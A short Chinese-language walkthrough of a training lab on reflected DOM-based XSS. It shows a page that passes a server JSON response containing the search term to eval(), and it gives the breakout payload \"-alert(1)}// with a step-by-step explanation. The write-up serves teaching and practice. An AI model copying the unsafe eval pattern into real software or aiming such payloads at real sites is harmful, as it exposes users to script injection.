# Cross-site scripting Lab12
本題是 Reflected DOM-based XSS,漏洞觸發點出現在 JavaScript 處理伺服器回應時,特別是透過 `eval()` 呼叫未經妥善處理的 JSON 資料。
一樣先進入網站。

隨便找個東西並看原始碼。

一打開就可以看到這串:
```
eval('var searchResultsObj = ' + this.responseText);
```
他把伺服器回傳的 JSON(this.responseText)直接拼接到一段 JS code,然後用 eval 執行。
問題是伺服器回傳的東西是包含使用者輸入(搜尋字串)的 JSON,而這裡沒做任何逃逸或過濾,等於你可以直接用特殊字串破壞這段 JS,注入惡意腳本
所以我們去看搜尋後,他回傳了什麼東西。

```
{"results":[],"searchTerm":"bg"}
```
在前端他執行了:
```
eval('var data = {"results":[],"searchTerm":"bg"}');
```
所以我們放入特殊字串:
```
\"-alert(1)}//
```
- `\"` 是字串中的一個雙引號。
- `-alert(1)}` 是一段 JS 代碼的一部分。
- `//` 是 JS 裡面的單行註解。
伺服器回傳會變成:
```
{"results":[],"searchTerm":"\"-alert(1)}//"}
```
eval 變成:
```
var searchResultsObj = {"results":[],"searchTerm":"\"-alert(1)}//"};
```
這樣 JS 會解析錯誤,反而執行 alert(1)。


---